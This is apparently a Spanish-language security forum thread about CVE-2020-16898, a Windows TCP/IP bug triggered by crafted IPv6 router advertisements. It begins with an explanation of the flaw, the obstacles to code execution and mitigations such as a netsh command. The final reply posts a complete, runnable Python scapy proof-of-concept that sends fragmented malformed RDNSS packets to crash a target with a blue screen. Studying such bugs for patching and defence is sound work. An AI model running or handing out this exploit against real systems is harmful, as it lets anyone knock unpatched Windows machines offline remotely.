Ping de la muerte para Windows 10 (Ipv6)

[el-brujo]

Estas vulnerabilidades, causadas por un error en el controlador TCP/IP de Windows, se remontan a la vulnerabilidad "Ping de la muerte" corregida en 2013. Hacen posible la denegación de servicio y la posible ejecución remota de código.

La vulnerabilidad en tcpip.sys, un error lógico en la forma en que el controlador analiza los mensajes ICMP, se puede activar de forma remota con un mensaje router advertisement IPv6 especialmente diseñado que contenga una opción de servidor DNS recursivo (RDNSS). La opción RDNSS normalmente contiene una lista de las direcciones IPv6 de uno o más servidores DNS recursivos.




Hay una falla lógica en tcpip.sys que puede explotarse creando un paquete de router advertisement que contenga más datos de los esperados, lo que da como resultado que el controlador coloque más bytes de datos en su pila de memoria de los previstos en el código del controlador, por lo que se produce un desbordamiento de búfer. En teoría, esto podría usarse tanto para denegación de servicio como para ataques de ejecución remota de código. Pero en la práctica, lograr la ejecución remota de código sería extremadamente difícil.

SophosLabs desarrolló su propia prueba de concepto para un ataque, basada en la información proporcionada por Microsoft. Aprovechando la vulnerabilidad para causar una "pantalla azul de la muerte" BSOD en el ordenador de la víctima. Los detalles de la POC no los publicamos por ahora para evitar la explotación por parte de ciberdelincuentes.

Una vez que entendimos el error, desarrollar una prueba de concepto de "Pantalla azul de la muerte" fue bastante sencillo. Pero llevarlo al nivel que Microsoft advirtió es posible (la ejecución remota de código) no es tan sencillo. Los estándares y prácticas de codificación modernas ralentizarían el esfuerzo por construir un exploit RCE genérico confiable, por dos razones.

Primero, TcpIp.sys se compila con bandera GS, que evita que un desbordamiento de pila típico controle directamente la dirección de retorno.



La cookie de pila, también conocida como canario de pila, es un valor aleatorio generado en el momento de la carga. Su valor es XOR con el puntero de pila, lo que hace que sea extremadamente difícil predecir de manera confiable, especialmente en una explotación remota completa.




Hay dos técnicas típicas que se utilizan para omitir los canarios de pila, ninguna de las cuales se aplica realmente en este caso:

   Usar otra vulnerabilidad de fuga de información (lectura arbitraria), que no ayudará mucho a explotar tcpdrv.sys, porque el valor canario es XOR con el puntero de pila.
   Sobrescritura de un controlador de manejo de excepciones estructurado (SEH), que sería útil solo si se ha establecido un registro de excepción estructurado, que no es el caso.

El segundo obstáculo para una explotación eficaz de la RCE es la aleatorización del diseño del espacio de direcciones del kernel (kASLR). Incluso si fuera posible, puede predecir de manera confiable el canario de la pila (bastante improbable) para regresar a un shell del sistema en modo de usuario que requeriría determinar correctamente (y nuevamente de forma remota) la dirección base del kernel de Windows.

Eso significa que incluso cuando la naturaleza exacta del error en tcpdrv.sys se haga más conocida, puede pasar algún tiempo antes de que alguien pueda explotarlo de una manera que inyecte código de manera confiable en el espacio del kernel de Windows. Aun así, la amenaza de denegación de servicio a voluntad con un paquete de fácil elaboración debería ser suficiente por sí sola para provocar un parcheo rápido, que es la única solución real para esta vulnerabilidad.

Otras mitigaciones a corto plazo para posibles ataques de denegación de servicio incluyen:

   Desactivar IPv6 si no se utiliza, o
   Obligar a Windows a descartar los paquetes de router advertisement usando el comando

Código [Seleccionar] Expandir

netsh (netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable).

[youtube=640,360]https://youtu.be/X5CzXuq8-3w[/youtube]

In a proof-of-concept published on October 13, 2020, the SophosLabs Offensive Security team demonstrates one possible exploit against a bug in Windows computers that can remotely execute code simply by sending a specially crafted IP version 6 packet at a vulnerable computer. While this demo does not show remote code executing, it does show that the exploit path for the bug is functional (but has been mitigated by protections Microsoft introduced into Windows 10) and demonstrates that this PoCg is capable of causing a "blue screen of death" on Windows computers, which may create other problems. With additional work, it will be possible, eventually, to execute arbitrary code without crashing the PC in the process.

Fuentes:
https://news.sophos.com/es-es/2020/10/14/la-razon-principal-para-instalar-los-parches-de-microsoft-de-octubre-de-2020-ping-de-la-muerte-redux/

https://blog.elhacker.net/2020/10/actualizaciones-de-seguridad-productos.html

[BloodSharp]

Esto únicamente afecta a IPv6, ¿De casualidad tendrías el POC de python que se muestra en el video? Me gustaría probarlo en mi propia red...


B#

[el-brujo]

Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability

http://site.pi3.com.pl/exp/p_CVE-2020-16898.py

Código (python) [Seleccionar] Expandir

#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#

from scapy.all import *

v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA();

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)